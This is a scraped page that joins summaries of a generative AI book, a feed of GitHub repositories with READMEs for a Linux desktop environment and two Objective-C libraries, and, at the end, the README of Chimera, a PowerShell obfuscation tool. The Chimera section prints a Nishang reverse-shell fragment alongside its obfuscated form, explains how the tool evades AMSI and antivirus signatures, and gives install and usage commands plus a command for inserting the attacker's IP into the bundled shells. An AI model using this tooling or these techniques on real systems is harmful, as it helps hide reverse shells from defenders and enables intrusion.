Information Extraction and Tool Integration: The integration of tools and function calling beyond OpenAI is showcased, illustrating how models can move beyond freeform text generation to automate tasks by interacting with real systems. The implementation of tools, such as a CV parser, demonstrates information extraction capabilities from documents.
Reasoning Strategies for Decision-Making: The chapter introduces different strategies employed by agents for decision-making, including plan-and-solve and zero-shot agents in a Streamlit app. It emphasizes the importance of reasoning strategies to extend the capabilities of LLMs, paving the way for more capable and trustworthy AI assistants.

Chapter 05, Building a Chatbot like ChatGPT

In this chapter, the focus is on addressing the limitations of chatbots powered by Large Language Models (LLMs), particularly their lack of world knowledge for domain-specific question answering. The solution explored is Retrieval-Augmented Generation (RAG), which improves chatbots by grounding their responses in external evidence sources. The key steps involve encoding corpora into vector embeddings for rapid semantic search, integrating retrieval results into the chatbot's prompt, and showcasing practical RAG implementations using popular libraries like Milvus and Pinecone. Through end-to-end examples, the chapter demonstrates how RAG significantly enhances chatbots' reasoning and factual correctness. The discussion extends to the reputational and legal perspective, emphasizing moderation capabilities in LangChain to check for harmful content in chatbot responses. The chapter provides a comprehensive exploration of chatbots, retrieval mechanisms, vector storage, memory mechanisms, and moderation, offering a foundational understanding and practical insights for implementing an advanced chatbot.

The chapter unfolds with an overview of chatbots, their evolution, and the current state of chatbot technology, highlighting practical implications and enhancements. It connects with the previous chapter on tool-augmented LLMs, emphasizing the importance of proactive communication and discussing retrieval mechanisms to improve chatbot accuracy. The exploration delves into loading documents, vector storage, and embedding, along with memory mechanisms for maintaining knowledge and ongoing conversation states. The chapter concludes with a discussion on moderation, underscoring the significance of ensuring respectful and aligned responses with organizational values. The features introduced in this chapter provide a starting point for investigating issues like memory, context, moderation of speech, and addressing challenges such as hallucinations in chatbot responses.

Key Insights:

Overcoming Knowledge Limitations: The chapter addresses the limitations of chatbots powered by Large Language Models (LLMs) in domain-specific question answering by introducing Retrieval-Augmented Generation (RAG). RAG enhances chatbots by grounding responses in external evidence sources, overcoming the inherent lack of world knowledge in LLMs.
Vector-Based Retrieval: The key techniques involve encoding corpora into vector embeddings, enabling rapid semantic search for relevant information. This vector-based retrieval approach is crucial for augmenting chatbot prompts with additional information retrieved from external sources.
Practical Implementations: The chapter provides practical demonstrations of RAG implementations using popular libraries like Milvus and Pinecone, showcasing how these techniques significantly improve chatbots' reasoning and factual correctness. End-to-end examples offer insights into the integration of retrieval mechanisms into the chatbot's workflow.
Moderation Capabilities: The importance of moderation is emphasized, highlighting LangChain's capability to pass text through a moderation chain for checking harmful content. This ensures that chatbot responses align with organizational values and adhere to ethical standards.
Foundational Understanding: The chapter offers a foundational understanding of chatbots, retrieval mechanisms, vector storage, memory mechanisms, and moderation. It serves as a starting point for addressing challenges related to memory, context, and the moderation of speech in advanced chatbot implementations.

Chapter 06, Developing Software with Generative AI

In this chapter, the focus shifts from integrating generative AI into software applications to leveraging Large Language Models (LLMs) for assistance in software development. The significance of generative AI in software development, highlighted by consultancies like KPMG and McKinsey, sets the stage for exploring the impact of LLMs in this domain. The chapter begins by providing a broad overview of the current state of using AI for software development, addressing how LLMs could enhance coding tasks and automate software development processes. Practical approaches are demonstrated by playing with different models, evaluating the generated code qualitatively, and implementing a fully automated agent for software development tasks using LangChain. The chapter emphasizes the potential extensions to this approach and provides insights into various practical approaches to automatic software development, all of which are accessible in the software_development directory in the GitHub repository for the book. While acknowledging the superficial correctness and potential bugs in suggested solutions, the chapter hints at the feasibility of LLMs learning to automate coding pipelines with the right architectural setup. It underscores the importance of human guidance on high-level design and rigorous review to prevent errors, suggesting that collaboration between humans and AI is likely the future path.

Key Insights:

AI Impact on Software Development: The chapter delves into the intersection of generative AI, particularly Large Language Models (LLMs), and software development, acknowledging reports from consultancies like KPMG and McKinsey highlighting AI's substantial impact on this domain.
Coding Assistance with LLMs: LLMs are explored as valuable coding assistants in software development, with a focus on automating coding tasks. The chapter qualitatively evaluates code generation using various models, showcasing their potential benefits and limitations.
Automated Software Development Agent: Practical implementations are demonstrated through the creation of a fully automated agent for software development tasks using LangChain. The chapter discusses design choices and presents results, emphasizing the extensibility of this approach.
Feasibility of Automating Coding Pipelines: The chapter raises the possibility that, with the right architectural setup, LLMs could learn to automate coding pipelines. It acknowledges current limitations and suggests that human guidance and collaboration between humans and AI are crucial for safety and reliability.
Future Directions and Collaborative Development: While highlighting the potential for automating coding tasks, the chapter acknowledges the need for high-level design guidance and rigorous human review to prevent errors. It suggests the future likely involves collaboration between humans and AI in the realm of software development.

Chapter 07, LLMs for Data Science

This chapter explores the role of generative AI, particularly Large Language Models (LLMs), in automating data science processes. It highlights the potential of LLMs to accelerate scientific progress, especially in the efficient analysis of research data and literature review processes. The chapter begins with an examination of the impact of generative models on data science, emphasizing how LLMs contribute to the automation of various stages in the data science pipeline. The discussion covers automated data science, the use of code generation and tools to answer data science questions, and the exploration of structured datasets through LLM-powered processes. Practical approaches to data science with LLMs are demonstrated throughout the chapter, providing insights that can be explored further in the data_science directory in the GitHub repository for the book.

Key Insights:

Generative AI Impact on Data Science: The chapter explores the profound impact of generative AI, particularly Large Language Models (LLMs), on data science. It highlights how LLMs can accelerate scientific progress by efficiently analyzing research data and aiding in literature review processes.
Automated Data Science Pipeline: The discussion revolves around the automation of the data science pipeline, showcasing the value of Automated Machine Learning (AutoML) frameworks and the integration of LLMs in various stages, from data preparation to model deployment.
Code Generation and Tool Utilization: The chapter demonstrates the diverse applications of LLMs in data science, including code generation and tool utilization to answer questions and enhance datasets. It draws parallels with software development and explores the augmentation of datasets through external tools like WolframAlpha.
LLMs for Data Exploration: Practical approaches to data exploration with LLMs are presented, focusing on the analysis of structured datasets. The exploration involves the effective use of LLM-powered processes for ingesting and analyzing textual data, extending the techniques introduced in previous chapters.
Augmentation, Not Replacement: While acknowledging the transformative potential of AI technologies in data analysis, the chapter emphasizes that the current state of AI technology augments rather than replaces human expertise in data science. It broadens the analytical toolset for professionals, showcasing the collaborative potential of human-AI interaction. The next chapter is teased to focus on conditioning techniques to enhance LLM performance through prompting and fine-tuning.

Chapter 08, Customizing LLMs and Their Output

This chapter focuses on enhancing the reliability and performance of Large Language Models (LLMs) in specific scenarios, particularly complex reasoning and problem-solving tasks, through the process of conditioning. Conditioning, crucial for steering generative AI, is achieved through two main techniques: fine-tuning and prompting. Fine-tuning involves training the pre-trained base model on specific tasks or datasets relevant to the desired application, allowing the model to adapt and become more accurate and contextually relevant. Prompt engineering, on the other hand, involves providing additional input or context at inference time to generate text tailored to a particular task or style. The chapter delves into advanced prompt engineering strategies such as few-shot learning, tree-of-thought, and self-consistency, demonstrating their implementation throughout the chapter with corresponding code available in the GitHub repository for the book. The chapter serves as a practical guide for researchers and practitioners working with LLMs to unlock advanced conditioning strategies and sets the stage for the next chapter on the productionization of generative AI.

Key Insights:

Conditioning for Performance Improvement: The chapter focuses on the critical concept of conditioning in generative AI, highlighting its role in steering LLMs to enhance reliability, safety, and overall performance in complex reasoning and problem-solving scenarios.
Fine-Tuning for Adaptation: Fine-tuning emerges as a key technique for conditioning LLMs, involving training the pre-trained base model on specific tasks or datasets relevant to the desired application. This process allows the model to adapt and achieve greater accuracy and contextual relevance for the intended use case.
Significance of Prompt Engineering: The chapter underscores the importance of prompt engineering as a means to unlock LLM reasoning capabilities. By providing additional input or context at inference time, prompt engineering enables LLMs to generate text tailored to specific tasks or styles, with advanced strategies such as few-shot learning and self-consistency explored.
Diverse Prompting Techniques: Various prompting techniques are discussed, including step-by-step prompting, alternate selection, inference prompts, problem decomposition, and sampling multiple responses. These methods contribute to improving the reliability of LLMs in complex reasoning tasks, enhancing accuracy and consistency.
Application of Advanced Conditioning Strategies: Throughout the chapter, practical implementations of advanced conditioning strategies, such as fine-tuning and prompt engineering, are demonstrated. The code corresponding to these implementations can be found in the GitHub repository for the book, providing a valuable resource for researchers and practitioners working with LLMs.

Chapter 09, Generative AI in Production

This chapter focuses on the practical considerations and best practices for deploying generative AI, specifically Large Language Model (LLM) apps, from research to real-world applications. The transition from controlled research settings to live production environments involves addressing challenges related to performance, scalability, regulatory compliance, and ethical considerations. The chapter covers key aspects such as getting LLM apps ready for production, evaluating their performance, deploying them effectively, and observing their behavior in live environments. The importance of offline evaluation and continuous observability is emphasized to ensure a model's abilities are understood in a controlled setting and monitored in real-time production environments.

Throughout the chapter, practical examples with LLM apps are provided, offering insights into techniques for fine-tuning, safety interventions, and defensive design to develop applications that produce reliable and meaningful outputs. The discussion extends to deployment tools like FastAPI, Ray, and LangServe, with a focus on the significance of evaluation metrics, comparative evaluation, and systematic monitoring in ensuring the quality, accuracy, and reliability of LLMs in production

Key Insights:

Deployment Challenges and Considerations: The chapter addresses the complex challenges of deploying generative AI, particularly Large Language Model (LLM) apps, in real-world production scenarios. It emphasizes the need for scalability, monitoring, and ethical safeguards to navigate the transition from research to live environments effectively.
Critical Evaluation Processes: The importance of both offline evaluation and continuous observability is highlighted. These processes provide essential insights into a model's performance, quality, and behavior, ensuring that LLMs produce reliable, useful, and sensible outputs. LangChain supports comparative evaluation, criteria checking, and semantic similarity metrics for a comprehensive evaluation strategy.
Deployment Tools and Techniques: Practical examples in the chapter involve deploying applications with tools like FastAPI, Ray, and LangServe. The discussion extends to the role of LangSmith, which provides powerful capabilities for tracking, benchmarking, and optimizing LLMs built with LangChain. The emphasis is on the evolving landscape of deployment tools and the significance of staying informed about emerging developments.
Monitoring for Performance and Reliability: Monitoring LLMs is identified as a vital aspect of deployment and maintenance. The chapter introduces key metrics for a comprehensive monitoring strategy and offers examples of how to track these metrics in practice. Tools such as PromptWatch and LangSmith are discussed to enhance observability, accelerate development, and validate LLMs.
Responsibility in Generative AI: The chapter underscores the importance of responsible deployment, emphasizing meticulous planning around scalability, interpretability, testing, and monitoring. Techniques like fine-tuning, safety interventions, and defensive design are crucial for developing applications that produce helpful, harmless, and readable outputs. The responsible deployment of generative AI models holds immense potential benefits across industries, from medicine to education.

Chapter 10, The Future of Generative Models

The chapter begins with an exploration of the current state of generative AI models, acknowledging recent breakthroughs while highlighting persisting challenges related to precision, reasoning, controllability, and biases within these models. It emphasizes the technical and practical aspects, such as the black-box nature of models, limited interpretability, and concerns regarding biases in training data. The discussion anticipates sophisticated capabilities in the coming decades but underscores the need for addressing challenges to ensure responsible and controllable AI development.

The focus then shifts to the economic consequences and societal implications of generative AI. The text discusses the surge in venture funding for generative AI start-ups and major investments by industry leaders, indicating the technology's potential economic impact. The chapter also touches on societal concerns, including misinformation, plagiarism, deepfake proliferation, and the possible weaponization of generative AI, urging a thoughtful approach to regulations and practical implementation to address these challenges responsibly.

Key Insights:

Current State of Generative AI Models: Explore the current state of generative AI models, emphasizing recent breakthroughs, persistent challenges, and technical considerations such as interpretability and biases.
Economic Impact and Venture Funding: Discuss the economic consequences of generative AI, highlighting the surge in venture funding for start-ups and significant investments by major players like Salesforce and Accenture.
Job Displacement and Democratization of Skills: Address concerns about job losses, particularly in specialized roles, and examine the potential democratization of skills enabled by generative AI.
Societal Implications and Ethical Considerations: Delve into the societal implications, including issues related to misinformation, plagiarism, deepfakes, and the potential weaponization of generative AI. Discuss ethical considerations and the need for responsible regulations.
Future Challenges and Collaborative Governance: Anticipate future challenges in the ethical and technical domains, emphasizing the importance of proactive governance, collaboration between stakeholders, and alignment with human values in directing generative AI technologies toward benevolent outcomes.

If you feel this book is for you, get your copy today!

Know more on the Discord server

You can get more engaged on the discord server for more latest updates and discussions in the community at Discord

Download a free PDF

If you have already purchased a print or Kindle version of this book, you can get a DRM-free PDF version at no cost. Simply click on the link to claim your free PDF. Free-Ebook

We also provide a PDF file that has color images of the screenshots/diagrams used in this book at GraphicBundle

Get to know the Author

Ben Auffarth A seasoned data science leader with a background and Ph.D. in computational neuroscience. Ben has analyzed terabytes of data, simulated brain activity on supercomputers with up to 64k cores, designed and conducted wet lab experiments, built production systems processing underwriting applications, and trained neural networks on millions of documents. He’s the author of the books Machine Learning for Time Series and Artificial Intelligence with Python Cookbook. He now works in insurance at Hastings Direct.

Other Related Books

vishaltewatia/new-year-special

2024-01-03T01:32:47Z

17px/hexo-theme-cosy

2024-01-03T01:32:47Z

Minimalist, pursuing the ultimate loading speed for a Hexo theme，追求极致加载速度

webhasan/gtm-datalayer-for-shopify

2024-01-04T01:33:46Z

GTM data Layer for Shopify ecommerce

noahgift/continuous-integration

2024-01-04T01:34:11Z

This is a sample repo

AOSPA/android_device_qcom_qssi

2024-01-04T01:34:11Z

jonjoncardoso/quarto-template-for-university-courses

2024-01-04T01:34:15Z

Quarto-based template for designing websites of university courses.

garmin/connectiq-apps

2024-01-03T01:33:49Z

A collection of Connect IQ apps.

CnTeng/nixfiles

2024-01-03T01:34:18Z

NixOS Configuration

trunkmaster/nextspace

2024-01-03T01:34:30Z

NeXTSTEP-like desktop environment for Linux

NEXTSPACE

NEXTSPACE is a desktop environment that brings a NeXTSTEP look and feel to Linux. I try to keep the user experience as close as possible to the original NeXT OS. It is developed according to the "OpenStep User Interface Guidelines".

An explanation of the NeXTSTEP / NextStep naming convention is discussed in further detail here.

I want to create a fast, elegant, reliable, and easy to use desktop environment with maximum attention to user experience (usability) and visual maturity. I would like it to become a platform where applications will be running with a taste of NeXT's OS. Core applications such as Login, Workspace, and Preferences are the base for future application development and examples of visual style and application integration methods.

NEXTSPACE is not just a set of applications tightly integrated to each other. It is a core OS with frameworks, mouse cursors, fonts, colors, animations, and everything I think will help users to be effective and happy.

Why?

I like the look, feel, and design principles of NeXTSTEP.
I believe it will become an interesting environment for developers and comfortable (fast, easy to use, feature-rich) for users.

Unlike other 'real' and 'serious' projects, I have not yet defined a target audience for NEXTSPACE. I intentionally left aside modern UI design trends (fancy animations, shadows, gray blurry lines, flat controls, acid colors, transparency). I like the accurate, clear, grayish, and "boring" UI that helps, not hinder, to get my job done.

Not planned

Porting to other Linux distributions and operating systems. For now, I want a fast, accurate, and stable version for RedHat-based Linux distributions. Currently these are CentOS 7, CentOS Stream and Fedora. However, NEXTSPACE was designed to be portable and thus this point may be changed in future.
GNOME, KDE, macOS rival in terms of visual effects, modern design principles, look and feel.
Implementing a macOS-like desktop paradigm. There is another good place for this -- see Étoilé.

Installing

Installation is based off CentOS 7's minimal install, you can find full directions in the installation guide.

Applications

Below is a brief description of core applications. More information about application functionality will be added in the future.

Login

Status of implementation

A simple login panel where you enter your user name and password. No screenshot - it's an exact copy of NeXTSTEP's loginwindow in terms of look and feel.

Workspace

Status of implementation

A fast and elegant Workspace Manager using multithreading to provide maximum smoothness for:

File system navigation, file management (create, copy, move, link files/directories).
Seamless application, process, and window management (start, autostart, close, resize, move, maximize, miniaturize, hide).
macOS-style window resizing: the cursor stops moving when the maximum/minimum size of a window has been reached, and the cursor changes its image to give a hint for available directions.
Virtual desktops, Dock, applications and window icons.
Media management - automatically mounting removable media, providing menu items to eject/mount/unmount removables.
Background processes - all file and media management operations have status indicators with controls (stop, pause, cancel).
Launcher - a panel to run commands with autocompletion and history.
Recycler - support for drag-and-drop and the ability to restore recycled objects to their original location with a single click.
Other: inspectors for various types of contents, finder, console messages and preferences for various parts of Workspace.

Note: Workspace is NOT:

WindowMaker with some patches

WindowMaker with some good configuration defaults only

Another implementation of WindowMaker.

Workspace is written from scratch. Some WindowMaker code is a part of Workspace (as well as configuration defaults) to provide window management functions. The code is tightly coupled with Workspace to provide seamless intergation. Configurable parameters of the integrated WindowMaker are spread across Workspace's Preferences and Preferences application.

Preferences

Status of implementation

Settings for locale, fonts, displays (size, brightness, contrast (gamma correction), desktop background, displays arrangement), keyboard (repeat, layouts, numpad behaviour, modifiers), mouse (delay, threshold, scrollwheel settings, mouse buttons configutation), sound, network, power management.

Terminal

Status of implementation

A terminal with Linux console emulation. I've started with the version created by Alexander Malmberg and made numerous fixes and enhancements. The original application can be found on the GNUstep Application Project site. Enhancements to the original application are numerous. Some of them are as follows:

Preferences and Services panels rewritten from scratch.
Numerous fixes and enhancements in: color management (background/foreground elements can be set to any color), cursor placement fixes on scrolling and window resizing, and the addition of 'Clear Buffer' and 'Set Title' menu items.
Search through the text displayed in the terminal window (Find panel).
Session management: you can save a window with all its settings that are set in the preferences panel (including any running shells/commands) to a file and then open it. Configuration with multiple windows is supported.

For developers

For those who are eager to know "How it's done?" can find information on development tasks, goals, solutions, implementation details, and build instructions on the Wiki.

facebookarchive/Shimmer

2024-01-03T01:34:30Z

An easy way to add a simple, shimmering effect to any view in an iOS app.

Shimmer

Shimmer is an easy way to add a shimmering effect to any view in your app. It's useful as an unobtrusive loading indicator.

Shimmer was originally developed to show loading status in Paper.

Usage

To use Shimmer, create a FBShimmeringView or FBShimmeringLayer and add your content. To start shimmering, set the shimmering property to YES.

An example of making a label shimmer:

FBShimmeringView *shimmeringView = [[FBShimmeringView alloc] initWithFrame:self.view.bounds];
[self.view addSubview:shimmeringView];

UILabel *loadingLabel = [[UILabel alloc] initWithFrame:shimmeringView.bounds];
loadingLabel.textAlignment = NSTextAlignmentCenter;
loadingLabel.text = NSLocalizedString(@"Shimmer", nil);
shimmeringView.contentView = loadingLabel;

// Start shimmering.
shimmeringView.shimmering = YES;

There's also an example project. In the example, you can swipe horizontally and vertically to try various shimmering parameters, or tap to start or stop shimmering. (To build the example locally, you'll need to open FBShimmering.xcworkpace rather than the .xcodeproj.)

Installation

There are two options:

Shimmer is available as Shimmer in Cocoapods.
Manually add the files into your Xcode project. Slightly simpler, but updates are also manual.

Shimmer requires iOS 6 or later.

How it works

Shimmer uses the -[CALayer mask] property to enable shimmering, similar to what's described in John Harper's 2009 WWDC talk (unfortunately no longer online). Shimmer uses CoreAnimation's timing features to smoothly transition "on-beat" when starting and stopping the shimmer.

Other Platforms

We have a version of Shimmer for Android, too! It's also available on GitHub.

Contributing

See the CONTRIBUTING file for how to help out.

License

Shimmer is BSD-licensed.

SBJson/SBJson

2024-01-03T01:34:30Z

This framework implements a strict JSON parser and generator in Objective-C.

SBJson 5

Chunk-based JSON parsing and generation in Objective-C.

Overview

SBJson's number one feature is stream/chunk-based operation. Feed the parser one or more chunks of UTF8-encoded data and it will call a block you provide with each root-level document or array. Or, optionally, for each top-level entry in each root-level array.

With this you can reduce the apparent latency for each download/parse cycle of documents over a slow connection. You can start parsing and return chunks of the parsed document before the full document has downloaded. You can also parse massive documents bit by bit so you don't have to keep them all in memory.

SBJson maps JSON types to Objective-C types in the following way:

JSON Type	Objective-C Type
null	NSNull
string	NSString
array	NSMutableArray
object	NSMutableDictionary
true	-[NSNumber numberWithBool: YES]
false	-[NSNumber numberWithBool: NO]
number	NSNumber

Booleans roundtrip properly even though Objective-C doesn't have a dedicated class for boolean values.
Integers use either long long or unsigned long long if they fit, to avoid rounding errors. For all other numbers we use the double type, with all the potential rounding errors that entails.

"Plain" Chunk Based Parsing

First define a simple block & an error handler. (These are just minimal examples. You should strive to do something better that makes sense in your application!)

SBJson5ValueBlock block = ^(id v, BOOL *stop) {
    BOOL isArray = [v isKindOfClass:[NSArray class]];
    NSLog(@"Found: %@", isArray ? @"Array" : @"Object");
};

SBJson5ErrorBlock eh = ^(NSError* err) {
    NSLog(@"OOPS: %@", err);
    exit(1);
};

Then create a parser and add data to it:

id parser = [SBJson5Parser parserWithBlock:block
                              errorHandler:eh];

id data = [@"[true," dataWithEncoding:NSUTF8StringEncoding];
[parser parse:data]; // returns SBJson5ParserWaitingForData

// block is not called yet...

// ok, now we add another value and close the array

data = [@"false]" dataWithEncoding:NSUTF8StringEncoding];
[parser parse:data]; // returns SBJson5ParserComplete

// the above -parse: method calls your block before returning.

Alright! Now let's look at something slightly more interesting.

Handling multiple documents

This is useful for something like Twitter's feed, which gives you one JSON document per line. Here is an example of parsing many consequtive JSON documents, where your block will be called once for each document:

id parser = [SBJson5Parser multiRootParserWithBlock:block
                                       errorHandler:eh];

// Note that this input contains multiple top-level JSON documents
id data = [@"[]{}" dataWithEncoding:NSUTF8StringEncoding];
[parser parse:data];
[parser parse:data];

The above example will print:

Found: Array
Found: Object
Found: Array
Found: Object

Unwrapping a gigantic top-level array

Often you won't have control over the input you're parsing, so can't use a multiRootParser. But, all is not lost: if you are parsing a long array you can get the same effect by using an unwrapRootArrayParser:

id parser = [SBJson5Parser unwrapRootArrayParserWithBlock:block
                                             errorHandler:eh];

// Note that this input contains A SINGLE top-level document
id data = [@"[[],{},[],{}]" dataWithEncoding:NSUTF8StringEncoding];
[parser parse:data];

Other features

For safety there is a max nesting level for all input. This defaults to 32, but is configurable.
The writer can sort dictionary keys so output is consistent across writes.
The writer can create human-readable output, with newlines and indents.
You can install SBJson v3, v4 and v5 side-by-side in the same application. (This is possible because all classes & public symbols contains the major version number.)

A word of warning

Stream based parsing does mean that you lose some of the correctness verification you would have with a parser that considered the entire input before returning an answer. It is technically possible to have some parts of a document returned as if they were correct but then encounter an error in a later part of the document. You should keep this in mind when considering whether it would suit your application.

American Fuzzy Lop

I've run AFL on the sbjson binary for over 24 hours, with no crashes found. (I cannot reproduce the hangs reported when attempting to parse them manually.)

                       american fuzzy lop 2.35b (sbjson)

┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐
│        run time : 1 days, 0 hrs, 45 min, 26 sec      │  cycles done : 2      │
│   last new path : 0 days, 0 hrs, 5 min, 24 sec       │  total paths : 555    │
│ last uniq crash : none seen yet                      │ uniq crashes : 0      │
│  last uniq hang : 0 days, 2 hrs, 11 min, 43 sec      │   uniq hangs : 19     │
├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤
│  now processing : 250* (45.05%)     │    map density : 0.70% / 1.77%         │
│ paths timed out : 0 (0.00%)         │ count coverage : 3.40 bits/tuple       │
├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤
│  now trying : auto extras (over)    │ favored paths : 99 (17.84%)            │
│ stage execs : 603/35.6k (1.70%)     │  new edges on : 116 (20.90%)           │
│ total execs : 20.4M                 │ total crashes : 0 (0 unique)           │
│  exec speed : 481.9/sec             │   total hangs : 44 (19 unique)         │
├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤
│   bit flips : 320/900k, 58/900k, 5/899k             │    levels : 8          │
│  byte flips : 0/112k, 4/112k, 3/112k                │   pending : 385        │
│ arithmetics : 66/6.24M, 0/412k, 0/35                │  pend fav : 1          │
│  known ints : 5/544k, 0/3.08M, 0/4.93M              │ own finds : 554        │
│  dictionary : 0/0, 0/0, 29/1.83M                    │  imported : n/a        │
│       havoc : 64/300k, 0/0                          │ stability : 100.00%    │
│        trim : 45.19%/56.5k, 0.00%                   ├────────────────────────┘
^C────────────────────────────────────────────────────┘             [cpu: 74%]

+++ Testing aborted by user +++
[+] We're done here. Have a nice day!

API Documentation

Please see the API Documentation for more details.

Installation

CocoaPods

The preferred way to use SBJson is by using CocoaPods. In your Podfile use:

pod 'SBJson', '~> 5.0.0'

Carthage

SBJson is compatible with Carthage. Follow the Getting Started Guide for iOS.

github "SBJson/SBJson" == 5.0.2

Bundle the source files

An alternative that I no longer recommend is to copy all the source files (the contents of the Classes folder) into your own Xcode project.

Examples

https://github.com/SBJson/ChunkedDelivery - a toy example showing how one can use NSURLSessionDataDelegate to do chunked delivery.
https://github.com/SBJson/DisplayPretty - a very brief example using SBJson 4 to reflow JSON on OS X.

Support

Review (or create) StackOverflow questions tagged with SBJson if you have questions about how to use the library.
Use the issue tracker if you have found a bug.
I regret I'm only able to support the current major release.

Philosophy on backwards compatibility

SBJson practice Semantic Versioning, which means we do not break the API in major releases. If something requires a backwards-incompatible change, we release a new major version. (Hence why a library of less than 1k lines has more major versions than Emacs.)

I also try support a gradual migration from one major version to the other by allowing the last three major versions to co-exist in the same app without conflicts. The way to do this is putting the major version number in all the library's symbols and file names. So if v6 ever comes out, the SBJson5Parser class would become SBJson6Parser, etc.

License

BSD. See LICENSE for details.

KitaitiMakoto/programming-basis

2024-01-04T01:35:28Z

浅井健一『プログラミングの基礎』の問題を幾つか解いてみる

Codrax/mspaint-rewritten

2024-01-03T01:35:02Z

The Windows 10 version Microsoft Paint rewritten in Delphi

landgraf-dev/aws-sdk-delphi-samples

2024-01-03T01:35:02Z

WebUI4Delphi is a WebUI wrapper, which allows you to use any web browser as a GUI, with Delphi in the backend and HTML5 in the frontend.

tokyoneon/Chimera

2024-01-03T01:35:42Z

Chimera is a PowerShell obfuscation script designed to bypass AMSI and commercial antivirus solutions.

Chimera is a (shiny and very hack-ish) PowerShell obfuscation script designed to bypass AMSI and antivirus solutions. It digests malicious PS1's known to trigger AV and uses string substitution and variable concatenation to evade common detection signatures.

Chimera was created for this write-up and is further evidence of how trivial it is to bypass detection signatures. Hopefully, this repository will inspire someone to build something robust and more reliable.

How Chimera works...

Below is a snippet of Nishang's Invoke-PowerShellTcp.ps1, found at nishang/Shells. VirusTotal reports 25 detections of the PS1 script.

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

And here it is again, after Chimera. VirusTotal reports 0 detections of the obfuscated version.

  # Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
              $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
       # As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.
          [bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
   # Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.

  # Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
           # Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
   # Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
           $PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
            $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
   # An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.

Chimera does several things to obfuscate the source. The transformer function will separate strings into multiple pieces and reconstruct them as new variables.

For example, it will take a string like ... New-Object System.Net.Sockets.TCPClient ... and convert it to:

$a = "Syste"
$b = "m.Net.Soc"
$c = "kets.TCP"
$d = "Client"

... New-Object $a$b$c$d ...

The function separates commonly flagged data types and strings into several chunks. It defines the chunks and concatenates them at the top of the script. A higher --level will result in smaller chunks and more variables.

$CNiJfmZzzQrqZzqKqueOBcUVzmkVbllcEqjrbcaYzTMMd = "`m"
$quiyjqGdhQZgYFRdKpDGGyWNlAjvPCxQTTbmFkvTmyB = "t`Rea"
$JKflrRllAqgRlHQIUzOoyOUEqVuVrqqCKdua = "Get`s"
$GdavWoszHwDVJmpYwqEweQsIAz = "ti`ON"
$xcDWTDlvcJfvDZCasdTnWGvMXkRBKOCGEANJpUXDyjPob = "`L`O`Ca"
$zvlOGdEJVsPNBDwfKFWpvFYvlgJXDvIUgTnQ = "`Get`-"
$kvfTogUXUxMfCoxBikPwWgwHrvNOwjoBxxto = "`i"
$tJdNeNXdANBemQKeUjylmlObtYp = "`AsC`i"
$mhtAtRrydLlYBttEnvxuWkAQPTjvtFPwO = "`G"
$PXIuUKzhMNDUYGZKqftvpAiQ = "t`R`iN

Usage

Clone the repository. Tested in Kali v2020.3.

sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help

Basic usage.

./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p

Review the usage guide and write-up for more examples and screenshots.

Shells

In the shells/ directory are several Nishang scripts and a few generic ones. All have been tested and should work fine. But there's no telling how untested scripts will reproduce with Chimera...

Change the hardcoded IP addresses.

sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1

ls -laR shells/

shells/:
total 60
-rwxrwx--- 1 tokyoneon tokyoneon 1727 Aug 29 22:02 generic1.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 1433 Aug 29 22:02 generic2.ps1
-rwxrwx--- 1 tokyoneon tokyoneon  734 Aug 29 22:02 generic3.ps1
